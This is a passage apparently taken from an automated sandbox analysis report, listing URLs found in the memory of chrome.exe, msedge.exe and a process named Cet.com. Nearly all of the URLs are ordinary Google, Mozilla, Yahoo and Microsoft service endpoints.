Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com(Q
Source: chrome.exe, 00000013.00000002.2670436867.000051280001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession%y(QQ(
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000013.00000003.2602830124.0000512800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000013.00000002.2670699648.00005128000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000013.00000002.2670560917.0000512800078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chromecache_310.21.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_310.21.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830K
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966.
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161%
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369)
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000013.00000002.2676890847.0000512800C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2591378885.0000512800390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592790915.0000512800B28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592747126.0000512800390000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2718734287.000068B00037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000013.00000003.2613304381.00005128013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614003341.0000512801470000.00000004.00000800.00020000.00000000.sdmp, chromecache_310.21.dr, chromecache_306.21.dr	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000013.00000002.2670504503.0000512800060000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes
Source: msedge.exe, 00000016.00000002.2799303673.00000229FF567000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000016.00000003.2720764244.00000229FF565000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.comse
Source: Cet.com, 0000000D.00000002.3218939111.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, m7yuk6.13.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: Cet.com, 0000000D.00000002.3218939111.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, m7yuk6.13.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Reporting and NEL.25.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: chrome.exe, 00000013.00000002.2679688676.0000512801054000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672246325.000051280050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000013.00000002.2676755492.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2598093770.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2614694283.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2593520243.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2616787424.0000512800C54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2639070022.0000512800C54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: offscreendocument_main.js.24.dr, service_worker_bin_prod.js.24.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/mathjax/
Source: chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000013.00000002.2676802503.0000512800C70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000013.00000002.2676850412.0000512800C7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000013.00000002.2675822665.0000512800B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000013.00000002.2675822665.0000512800B08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: Cet.com, 0000000D.00000002.3218939111.0000000003BBE000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.000000000585A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2671895706.000051280040C000.00000004.00000800.00020000.00000000.sdmp, 6fkfkx.13.dr, Web Data.24.dr, 8y5fk6.13.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000013.00000003.2587746858.00005128004B4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000002.2823509182.000068B00016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000013.00000002.2672964589.0000512800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore(Q
Source: manifest.json0.24.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000013.00000002.2672964589.0000512800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000013.00000002.2674725656.0000512800A40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2674582089.0000512800A1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2677392505.0000512800D6C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2680412293.0000512801168000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2672964589.0000512800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000013.00000002.2672964589.0000512800698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en%y(Q
Source: chrome.exe, 00000013.00000002.2677392505.0000512800D6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en3
Source: chrome.exe, 00000013.00000003.2592034169.0000512800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2676890847.0000512800CBF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2594661581.0000512800CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597847907.0000512800488000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592493618.0000512800CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2599400550.0000512800CC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2595171927.0000512800CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2597307663.0000512800CC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: msedge.exe, 00000016.00000002.2823509182.000068B00016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreh
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000013.00000002.2669654747.000009680079C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2580031559.0000096800694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000013.00000003.2579467643.00000968003AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2617702975.00005128014A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2579181815.00000968003A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000013.00000002.2671200093.000051280020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000013.00000002.2670963845.000051280017C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000002.2823509182.000068B00016C000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.24.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000013.00000002.2678666309.0000512800EAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000013.00000002.2678666309.0000512800EAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/I1MDEzMS0xMzAxMDMuMzc5MDAwEggIABADGHUgAA==#M
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: chrome.exe, 00000013.00000003.2575254563.00006228002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2575290899.00006228002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000013.00000002.2670737366.00005128000DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/c
Source: chrome.exe, 00000013.00000002.2673159190.00005128006D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2592234333.0000512800C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2587746858.00005128004B4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000016.00000002.2822542762.000068B000040000.00000004.00000800.00020000.00000000.sdmp, manifest.json.24.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000013.00000002.2674170509.0000512800960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000013.00000002.2674170509.0000512800960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=bQ(
Source: chrome.exe, 00000013.00000002.2674170509.0000512800960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000013.00000002.2671136737.00005128001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chromecache_310.21.dr	String found in binary or memory: https://clients6.google.com
Source: chrome.exe, 00000013.00000002.2672826288.0000512800668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chromecache_310.21.dr	String found in binary or memory: https://content.googleapis.com
Source: Cet.com, 0000000D.00000002.3218939111.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, m7yuk6.13.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: Cet.com, 0000000D.00000002.3218939111.0000000003C9B000.00000004.00000800.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3217675963.0000000001132000.00000004.00000020.00020000.00000000.sdmp, Cet.com, 0000000D.00000002.3220110067.0000000005A50000.00000004.00000800.00020000.00000000.sdmp, m7yuk6.13.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000013.00000002.2675320443.0000512800ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: 2cc80dabc69f58b6_0.24.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: chrome.exe, 00000013.00000002.2671639696.000051280032C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: manifest.json.24.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000013.00000002.2673242677.0000512800716000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2673303024.000051280072C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
